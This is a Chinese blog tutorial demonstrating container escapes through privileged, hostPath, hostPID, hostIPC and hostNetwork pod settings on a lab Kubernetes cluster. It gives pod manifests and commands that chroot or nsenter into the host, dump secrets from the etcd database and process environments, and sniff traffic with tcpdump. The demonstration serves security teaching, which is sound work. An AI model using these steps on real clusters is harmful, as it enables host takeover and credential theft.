当前位置: 首页 > news >正文

容器安全 - 利用容器的特权配置实现对Kubernetes容器的攻击

《OpenShift / RHEL / DevSecOps 汇总目录》

文章目录

  • 准备环境
  • 利用特权配置对Kubernetes容器攻击
    • privileged + hostpath
    • privileged + hostpid
    • privileged
    • hostpath
    • hostpid
    • hostipc
    • hostnetwork
  • 参考

通过将运行 Pod 的 privileged 设为 true,容器就以特权模式运行在宿主机上。和普通容器相比,特权容器具有非常大的权限和能力。

  1. 容器被赋予所有能力
  2. 不屏蔽敏感路径,例如 sysfs 中的 kernel 模块 within
  3. Any sysfs and procfs mounts are mounted RW
  4. AppArmor 保护不生效
  5. Seccomp 限制不生效
  6. cgroup 不限制访问任何设备
  7. 所有宿主机的设备都可以在容器中访问
  8. SELinux 限制不生效

本文将演示如何利用在 Kubernetes 中容器的 privileged、hostpath、hostpid、hostipc、hostnetwork 配置实现对容器或宿主机的攻击,包括获得敏感数据、杀掉关键进程等。

  • privileged: 控制容器是否具有特权,特权容器拥有宿主机上的所有操作权限,可以访问宿主机上的所有设备。
  • hostpath: 将宿主机的指定目录挂载到容器中,这样就可以从容器中访问宿主机的指定目录。
  • hostpid:控制从容器中是否可以查看宿主机的进程信息。
  • hostipc:控制从容器中是否可以查看宿主机的 IPC 信息。
  • hostnetwork:控制容器是否直接使用并运行在宿主机的网络上。

准备环境

由于 OpenShift 缺省自带较高的安全防护,因此为了容易演示相关场景,本文没有采用 OpenShift 而使用的是 killercoda 网站的免费 Kubernetes 环境。

  1. 执行命令可以看到该环境的 Kubernetes 集群有 2 个节点。另外从提示符可以看到当前是在 controlplane 节点所在的 Linux 操作系统上。
$ kubectl get node -owide
NAME           STATUS   ROLES           AGE   VERSION   INTERNAL-IP   EXTERNAL-IP   OS-IMAGE             KERNEL-VERSION      CONTAINER-RUNTIME
controlplane   Ready    control-plane   41d   v1.28.1   172.30.1.2    <none>        Ubuntu 20.04.5 LTS   5.4.0-131-generic   containerd://1.6.12
node01         Ready    <none>          41d   v1.28.1   172.30.2.2    <none>        Ubuntu 20.04.5 LTS   5.4.0-131-generic   containerd://1.6.12
  1. 为了后面的测试,我们在集群中创建一个被攻击的 Secret 以及一个验证目录 test。
$ kubectl create secret generic my-secret \--from-literal=username=myadmin \--from-literal=password='mypass'$ mkdir /test && ls /
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var

利用特权配置对Kubernetes容器攻击

privileged + hostpath

privileged + hostpath 的配置组合使得可以在容器中直接访问到宿主机的文件系统。如果容器是运行在 master 节点上,则可访问 master 宿主机上未加密 ETCD 数据库中的敏感信息。

  1. 执行以下命令,创建 Pod。根据配置可知该 Pod 将运行在 controlplane 节点。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: priv-hostpath-exec-pod
spec:containers:- name: priv-hostpath-podimage: ubuntusecurityContext:privileged: truevolumeMounts:- mountPath: /hostname: noderootcommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: controlplane volumes:- name: noderoothostPath:path: /
EOF
  1. 在确认 Pod 运行后进入该 Pod 内部。
$ kubectl get pod priv-hostpath-exec-pod
NAME                     READY   STATUS    RESTARTS   AGE
priv-hostpath-exec-pod   1/1     Running   0          2m26s$ kubectl exec -it priv-hostpath-exec-pod -- chroot /host
  1. 确认可以从该 Pod 内部看到宿主机的 /test 目录。
# ls
bin  boot  dev  etc  home  ks  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var
  1. 确认可以从该 Pod 内获取到保存在 Kubernetes 集群未加密的 ETCD 数据库中的 Secret 数据。
# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
!/registry/secrets/default/my-pass
Secretmy-secret
default"
*$7eb4a277-6c36-46aa-aa12-a53ab07990d32
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

privileged + hostpid

当 privileged 设为 true 时容器会以特权运行,而 hostPID 设置为 true 后就可以在 pod 中看宿主机的所有 pid 进程,并允许进入这些进程的命名空间。

  1. 执行以下命令创建 Pod。根据配置可知该 Pod 将运行在 controlplane 节点,并从该 Pod 进入属于宿主机的 init system (PID 1 进程) ,从而能访问宿主机文件系统并在宿主机上执行命令。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: priv-and-hostpid-exec-pod
spec:hostPID: truecontainers:- name: priv-and-hostpid-podimage: ubuntutty: truesecurityContext:privileged: truecommand: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]nodeName: controlplane 
EOF
  1. 确认 Pod 运行后可直接获取到保存在 Kubernetes 集群未加密的 ETCD 数据库中的 Secret 数据。
$ kubectl get pod priv-and-hostpid-exec-pod
NAME                        READY   STATUS    RESTARTS   AGE
priv-and-hostpid-exec-pod   1/1     Running   0          47s$ kubectl exec -it priv-and-hostpid-exec-pod -- strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secretmy-secret
default"
*$e4c9c62d-0cb2-4d81-ba0c-c23c0b3b9bc92
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

privileged

当 privileged 设为 true 时容器会以特权运行,这样可以从容器中访问宿主机的任何设备。

  1. 执行命令运行具有特权的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: priv-exec-pod
spec:containers:- name: priv-podimage: redhat/ubi8-initsecurityContext:privileged: truecommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: controlplane
EOF
  1. 进入运行的 Pod。
$ kubectl get pod priv-exec-pod
NAME                 READY   STATUS    RESTARTS   AGE
priv-exec-pod   1/1     Running   0          66s
$ kubectl exec -it priv-exec-pod -- bash
  1. 执行命令查看分区,其中 /dev/vda1 为代表宿主机存储的设备。
[root@priv-exec-pod /]# fdisk -l
。。。
Device      Start      End  Sectors  Size Type
/dev/vda1  227328 41943006 41715679 19.9G Linux filesystem
/dev/vda14   2048    10239     8192    4M BIOS boot
/dev/vda15  10240   227327   217088  106M EFI SystemPartition table entries are not in disk order.
  1. 将 /dev/vda1 挂在到容器的 /host 目录下,确认可以看到宿主机的 test 验证目录。
[root@priv-exec-pod /]# mkdir /host
[root@priv-exec-pod /]# mount /dev/vda1 /host/
[root@priv-exec-pod /]# ls /host
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var
  1. 确认可以获得宿主机上未加密 ETCD 数据库中的 Secret 敏感数据。
[root@priv-exec-pod /]# chroot /host
# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secretmy-secret
default"
*$054abb91-a986-4835-91f6-7ee0bbb0c4f52
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

hostpath

通过 hostpath 也可以将宿主机的 “/” 目录挂载到的 pod 中,从而获得宿主机文件系统的读/写权限。这样就可以执行上述大多数相同的权限升级路径。

  1. 执行命令运行具有 hostpath 特性的 Pod,它将挂载宿主机的 / 目录。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: hostpath-exec-pod
spec:containers:- name: hostpath-exec-podimage: ubuntuvolumeMounts:- mountPath: /hostname: noderootcommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: controlplane volumes:- name: noderoothostPath:path: /
EOF
  1. 进入 Pod 并切换到宿主机目录,确认可以看到 test 验证目录。
$ kubectl exec -it hostpath-exec-pod -- chroot /host
# ls /
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var
  1. 确认可以获得宿主机上未加密 ETCD 数据库中的 Secret 敏感数据。
# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secretmy-secret
default"
*$7cc91580-3550-4732-8f35-75125e7978002
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin
# 

hostpid

当 Pod 的 hostpid 设为 true 后就可以在容器中不但可以看到所有宿主机的进程,还包括在 pod 中运行的进程以及 pod 的环境变量(/proc/[PID]/environ 文件)和 pod 的文件描述符(/proc/[PID]/fd[X])。可以在这些文件中获取到 Pod 使用的 Secret 敏感数据。另外,还可以通过 kill 进程来危害 Kubernetes 集群的运行。

  1. 执行命令运行具有 hostpid 特性的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: hostpid-exec-pod
spec:hostPID: truecontainers:- name: hostpid-podimage: ubuntucommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: node01 
EOF
  1. 再运行另一个使用测试 Secret 的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: mypasswd-pod
spec:containers:- name: mysqlimage: busyboxcommand: ['sh', '-c', 'echo "Hello, Kubernetes!" && sleep 1000']env:- name: MY_PASSWORDvalueFrom:secretKeyRef:name: my-secretkey: passwordnodeName: node01 
EOF
  1. 确认 2 个 Pod 都在运行。
$ kubectl get pod hostpid-exec-pod mypasswd-pod -o wide
NAME                READY   STATUS    RESTARTS   AGE     IP            NODE           NOMINATED NODE   READINESS GATES
hostpid-exec-pod    1/1     Running   0          2m32s   192.168.1.3   node01         <none>           <none>
mypasswd-pod        1/1     Running   0          72s     192.168.1.4   node01         <none>           <none>
  1. 进入 hostpid 为 true 的 Pod,然后确认可以在 /proc/*/environ 中查找到 mypass 关键字和对应的内容。
$ kubectl exec -it hostpid-exec-pod -- bash
root@hostpid-exec-pod:/# for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt
root@hostpid-exec-pod:/# cat envs.txt | grep mypass
HOSTNAME=mypasswd-pod
MY_PASSWORD=mypass

hostipc

当 Pod 的 hostpid 设为 true 后就可以在容器中访问到宿主机 IPC 命名空间,利用 IPC 可以访问到保存在宿主机共享内存中的数据。

  1. 执行命令运行 2 个具有 hostipc 特性的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: hostipc-exec-pod-1
spec:hostIPC: truecontainers:- name: hostipc-podimage: ubuntucommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: node01
---
apiVersion: v1
kind: Pod
metadata:name: hostipc-exec-pod-2
spec:hostIPC: truecontainers:- name: hostipc-podimage: ubuntucommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: node01
EOF
  1. 在 Pod 都运行后进入 hostipc-exec-pod-1。
$ kubectl get pod hostipc-exec-pod-1 hostipc-exec-pod-2 -o wide
NAME                 READY   STATUS    RESTARTS   AGE   IP            NODE     NOMINATED NODE   READINESS GATES
hostipc-exec-pod-1   1/1     Running   0          37s   192.168.1.5   node01   <none>           <none>
hostipc-exec-pod-2   1/1     Running   0          37s   192.168.1.6   node01   <none>           <none>
$ kubectl exec -it hostipc-exec-pod-1 -- bash
  1. 先进入 hostipc-exec-pod-1,将测试数据写入 IPC 共享区。
root@hostipc-exec-pod-1:/# echo "secretpassword" > /dev/shm/secretpassword.txt
  1. 再进入 hostipc-exec-pod-2,确认可以通过 IPC 共享区获取到 hostipc-exec-pod-1 写入的测试数据。
$ kubectl exec -it hostipc-exec-pod-2 -- more /dev/shm/secretpassword.txt 
secretpassword

hostnetwork

当 Pod 的 hostnetwork 为 true 时,pod 实际上用的是宿主机的网络地址空间:即 pod IP 是宿主机 IP,而非 cni 分配的 pod IP,端口是宿主机网络监听接口。由于 pod 的流量与宿主机的流量无法区分,因此也就无法对 Pod 应用常规的 Kubernetes 网络策略。

  1. 执行命令,创建一个使用 hostnetwork 的 Pod 和一个普通 Deployment 及其对应的 Service。强制 Pod 都运行在 Kubernetes 集群的 node01 节点上。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: hostnetwork-pod
spec:hostNetwork: truecontainers:- name: hostnetworkimage: nginxnodeName: node01
---
apiVersion: apps/v1
kind: Deployment
metadata:name: nginx
spec:replicas: 1selector:matchLabels:app: nginxtemplate:metadata:labels:app: nginxspec:containers:- name: nginximage: nginxnodeName: node01
---
apiVersion: v1
kind: Service
metadata:name: nginx
spec:type: NodePortports:- port: 80selector:app: nginx
EOF
  1. 查看 2 个 Pod 运行的 IP 地址,确认普通 Pod 使用的是容器网段 IP 192.168.1.5,而启用 hostnetwork 的 Pod 使用的就是 node01 宿主机节点的 IP 地址。
$ kubectl get pod -owide
NAME                     READY   STATUS    RESTARTS   AGE     IP            NODE     NOMINATED NODE   READINESS GATES
hostnetwork-pod          1/1     Running   0          31m     172.30.2.2    node01   <none>           <none>
nginx-55d65bdfb4-lmkvr   1/1     Running   0          4m33s   192.168.1.3   node01   <none>           <none>
  1. 确认普通 Pod 对应 Service 绑定的 nodeport 端口。
$ kubectl get svc nginx -ojsonpath={.spec.ports[0].nodePort}
32004
  1. 进入使用 hostnetwork 的 Pod,如果没有 tcpdump 可以安装,然后使用 tcpdump 开始嗅探到流经 32004 端口的 TCP 数据。刚开始运行还没有嗅探到数据。
$ kubectl exec -it hostnetwork-pod -- bash
root@node01:/# apt update && apt -y install tcpdump 
root@node01:/# tcpdump -s 0 -A 'tcp dst port 32004 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x3C21444F'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
  1. 在一个新的终端里使用 node01 的 IP 和 Service 绑定的 nodeport 访问运行在普通 Pod 中的 nginx,确认可以访问到页面。
$ curl -s 172.30.2.2:32329
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p><p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p>
</body>
</html>
  1. 回到第 4 步的窗口,确认在 hostnetwork-pod 中已经可以嗅探到 HTML 数据。这些数据可以是敏感的业务数据,或是未经保护的密码等数据。
15:44:04.194826 IP 10.244.4.60.40276 > 172.30.2.2.32329: Flags [P.], seq 3806426523:3806426603, ack 3523874175, win 511, options [nop,nop,TS val 2488373642 ecr 2936282096], length 80
E...p.@.<..1
..<.....T~I..u..
.............
.Q......GET / HTTP/1.1
Host: 172.30.2.2:32329
User-Agent: curl/7.68.0
Accept: */*15:44:04.195068 IP 172.30.2.2.32329 > 10.244.4.60.40276: Flags [P.], seq 1:239, ack 80, win 506, options [nop,nop,TS val 2936282097 ecr 2488373642], length 238
E.."|.@.?.......
..<~I.T.
....u......d.....
.....Q..HTTP/1.1 200 OK
Server: nginx/1.25.2
Date: Wed, 18 Oct 2023 15:44:04 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Tue, 15 Aug 2023 17:03:04 GMT
Connection: keep-alive
ETag: "64dbafc8-267"
Accept-Ranges: bytes15:44:04.195283 IP 172.30.2.2.32329 > 10.244.4.60.40276: Flags [P.], seq 239:854, ack 80, win 506, options [nop,nop,TS val 2936282097 ecr 2488373642], length 615
E...|.@.?..W....
..<~I.T.
.m..u............
.....Q..<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p><p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p>
</body>
</html>

参考

https://bishopfox.com/blog/kubernetes-pod-privilege-escalation
https://www.middlewareinventory.com/blog/tcpdump-capture-http-get-post-requests-apache-weblogic-websphere/
https://www.cnblogs.com/yechen2019/p/14690601.html

相关文章:

容器安全 - 利用容器的特权配置实现对Kubernetes容器的攻击

《OpenShift / RHEL / DevSecOps 汇总目录》 文章目录 准备环境利用特权配置对Kubernetes容器攻击privileged hostpathprivileged hostpidprivilegedhostpathhostpidhostipchostnetwork 参考 通过将运行 Pod 的 privileged 设为 true&#xff0c;容器就以特权模式运行在宿主…...

深度剖析Android Binder IPC机制

Android系统的成功离不开其强大的IPC&#xff08;Inter-Process Communication&#xff09;机制&#xff0c;其中最引人注目的就是Binder。本文将深入探讨Binder的技术原理&#xff0c;解释其工作方式以及相关的关键概念。 什么是Binder Binder是Android系统中的IPC机制&…...

【底层服务/编程功底系列】「大数据算法体系」带你深入分析MapReduce算法 — Shuffle的执行过程

【底层服务/编程功底系列】「大数据算法体系」带你深入分析MapReduce算法 — Shuffle的执行过程 Shuffle是什么Shuffle的流程处理map任务的执行流程reduce任务的执行流程 Shuffle过程分析和优化map任务深入分析细化步骤分析1. 数据分片读取2. 分配计算Reduce服务Partitioner分区…...

CISA 彻底改变了恶意软件信息共享:网络安全的突破

在现代网络安全中&#xff0c;战术技术和程序&#xff08;TTP&#xff09;的共享对于防范网络事件至关重要。 因此&#xff0c;了解攻击向量和攻击类型之间的关联如今是让其他公司从其他公司遭受的 IT 事件中受益&#xff08;吸取经验教训&#xff09;的重要一步。 美国主要网…...

macos 12 支持机型 macOS Monterey 更新中新增的功能

macOS Monterey 能让你以全然一新的方式与他人沟通联络、共享内容和挥洒创意。尽享 FaceTime 通话新增的音频和视频增强功能&#xff0c;包括空间音频和人像模式。通过功能强大的效率类工具&#xff08;例如专注模式、快速备忘录和 Safari 浏览器中的标签页组&#xff09;完成更…...

代码随想录算法训练营第五十六天|1143.最长公共子序列、1035.不相交的线、53. 最大子序和

代码随想录算法训练营第五十六天|1143.最长公共子序列、1035.不相交的线、53. 最大子序和 1143.最长公共子序列1035.不相交的线53. 最大子序和 做了一个小时左右 1143.最长公共子序列 题目链接&#xff1a;1143.最长公共子序列 文章链接 状态&#xff1a;会做 代码 class Solu…...

01认识微服务

一、微服务架构演变 1.单体架构 将所有的功能集中在一个项目开发&#xff0c;打成一个包部署。优点架构简单&#xff0c;部署成本低。缺点耦合度高&#xff0c;不利于大型项目的开发和维护 2.分布式架构 根据业务功能对系统进行拆分&#xff0c;每个业务模块作为独立的项目…...

智能电表上的模块发热正常吗?

智能电表是一种可以远程抄表、计费、控制和管理的电力计量设备&#xff0c;它可以实现智能化、信息化和网络化的电力用电管理。智能电表的主要组成部分包括电能计量模块、通信模块、控制模块和显示模块等。其中&#xff0c;通信模块和控制模块是智能电表的核心部件&#xff0c;…...

网络代理技术的广泛应用和安全保障

随着网络世界的日益发展&#xff0c;网络代理技术作为保障隐私和增强安全的重要工具&#xff0c;其在网络安全、爬虫开发和HTTP协议中的多面应用备受关注。下面我们来深入了解Socks5代理、IP代理以及它们的作用&#xff0c;探讨它们如何促进网络安全和数据获取。 Socks5代理和…...

EasyCVR视频汇聚平台显示有视频流但无法播放是什么原因?该如何解决?

视频汇聚/视频云存储/集中存储/视频监控管理平台EasyCVR能在复杂的网络环境中&#xff0c;将分散的各类视频资源进行统一汇聚、整合、集中管理&#xff0c;实现视频资源的鉴权管理、按需调阅、全网分发、云存储、智能分析等&#xff0c;视频智能分析平台EasyCVR融合性强、开放度…...

WuThreat身份安全云-TVD每日漏洞情报-2023-10-13

漏洞名称:libcue <2.2.1 越权访问漏洞 漏洞级别:高危 漏洞编号:CVE-2023-43641,CNNVD-202310-579 相关涉及:系统-alpine_edge-libcue-*-Up to-(excluding)-2.2.1-r0- 漏洞状态:未定义 参考链接:https://tvd.wuthreat.com/#/listDetail?TVD_IDTVD-2023-25092 漏洞名称:科大…...

中文编程工具开发语言开发的实际案例:触摸屏点餐软件应用场景实例

中文编程工具开发语言开发的实际案例&#xff1a;触摸屏点餐软件应用场景实例 软件特色&#xff1a; 1、功能实用&#xff0c;操作简单&#xff0c;不会电脑也会操作&#xff0c;软件免安装&#xff0c;已内置数据库。软件在关闭的时候&#xff0c;可以设置会员数据备份到U盘&…...

138.【JUC并发编程- 03】

JUC并发编程- 03 (六)、共享模型之无锁1.问题提出(1).为什么不安全?(2).安全实现_使用锁(3).安全实现_使用CAS 2.CAS与volatile(1).CAS_原理介绍(2).CAS_Debug分析(3).volatile(4).为什么无锁效率高(5).CAS的特点 3.原子整形(1).原子整数类型_ 自增自减(2).原子整数类型_乘除模…...

React Hooks批量更新问题

React 版本17.0.2 import React, { useState } from react;const Demo () > {const [count, setCount] useState(0);const [count1, setCount1] useState(0);const [count2, setCount2] useState(0);console.log(Demo);const add async () > {await 10;setCount(c…...

竞赛 深度学习YOLO抽烟行为检测 - python opencv

文章目录 1 前言1 课题背景2 实现效果3 Yolov5算法3.1 简介3.2 相关技术 4 数据集处理及实验5 部分核心代码6 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于深度学习YOLO抽烟行为检测 该项目较为新颖&#xff0c;适合作为竞赛课…...

cAdvisor监控Docker容器做性能测试

cAdvisor监控Docker容器做性能测试 缘起 当前有个服务做技术选型&#xff0c;服务要求比较高的性能&#xff0c;要做性能测试。部署的环境是容器话部署&#xff0c;但申请新的容器流程较长&#xff0c;于是我打算在流程走完之前简单评估下性能&#xff0c;来确定技术选型是否…...

记一次EDU证书站

如果文章对你有帮助&#xff0c;欢迎关注、点赞、收藏一键三连支持以下哦&#xff01; 想要一起交流学习的小伙伴可以加zkaq222&#xff08;备注CSDN&#xff0c;不备注通不过哦&#xff09;进入学习&#xff0c;共同学习进步 目录 目录 1.前言&#xff1a; 2.信息搜集 3.漏…...

React高频面试题100+题,这一篇就够了!

1 - 5 题详解传送门>>>>>>>>>>>> 1. 如何在代码中判断一个 React 组件是 class component 还是 function component&#xff1f; 2. useRef / ref / forwardsRef 的区别是什么? 3. useRef和useState区别&#xff1f; 4. useEffect 的…...

mysql MVC jsp实现表分页

mysql是轻量级数据库 在三层架构中实现简单的分页 在数据库sql编程中需要编写sql语句 SELECT * FROM sys.student limit 5,5; limit x,y x是开始节点&#xff0c;y是开始节点后的需要显示的长度。 在jdbc编程中需要给出x和y 一般是页数*页码&#xff0c;显示的长度。 代…...

【微信小程序】数字化会议OA系统之首页搭建(附源码)

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是Java方文山&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的专栏《微信小程序开发实战》。&#x1f3af;&#x1f3a…...

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…...

超短脉冲激光自聚焦效应

前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应&#xff0c;这是一种非线性光学现象&#xff0c;主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场&#xff0c;对材料产生非线性响应&#xff0c;可能…...

线程与协程

1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指&#xff1a;像函数调用/返回一样轻量地完成任务切换。 举例说明&#xff1a; 当你在程序中写一个函数调用&#xff1a; funcA() 然后 funcA 执行完后返回&…...

大数据零基础学习day1之环境准备和大数据初步理解

学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 &#xff08;1&#xff09;设置网关 打开VMware虚拟机&#xff0c;点击编辑…...

为什么需要建设工程项目管理?工程项目管理有哪些亮点功能?

在建筑行业&#xff0c;项目管理的重要性不言而喻。随着工程规模的扩大、技术复杂度的提升&#xff0c;传统的管理模式已经难以满足现代工程的需求。过去&#xff0c;许多企业依赖手工记录、口头沟通和分散的信息管理&#xff0c;导致效率低下、成本失控、风险频发。例如&#…...

页面渲染流程与性能优化

页面渲染流程与性能优化详解&#xff08;完整版&#xff09; 一、现代浏览器渲染流程&#xff08;详细说明&#xff09; 1. 构建DOM树 浏览器接收到HTML文档后&#xff0c;会逐步解析并构建DOM&#xff08;Document Object Model&#xff09;树。具体过程如下&#xff1a; (…...

VTK如何让部分单位不可见

最近遇到一个需求&#xff0c;需要让一个vtkDataSet中的部分单元不可见&#xff0c;查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行&#xff0c;是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示&#xff0c;主要是最后一个参数&#xff0c;透明度…...

鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南

1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发&#xff0c;使用DevEco Studio作为开发工具&#xff0c;采用Java语言实现&#xff0c;包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...

ABAP设计模式之---“简单设计原则(Simple Design)”

“Simple Design”&#xff08;简单设计&#xff09;是软件开发中的一个重要理念&#xff0c;倡导以最简单的方式实现软件功能&#xff0c;以确保代码清晰易懂、易维护&#xff0c;并在项目需求变化时能够快速适应。 其核心目标是避免复杂和过度设计&#xff0c;遵循“让事情保…...

计算机基础知识解析:从应用到架构的全面拆解

目录 前言 1、 计算机的应用领域&#xff1a;无处不在的数字助手 2、 计算机的进化史&#xff1a;从算盘到量子计算 3、计算机的分类&#xff1a;不止 “台式机和笔记本” 4、计算机的组件&#xff1a;硬件与软件的协同 4.1 硬件&#xff1a;五大核心部件 4.2 软件&#…...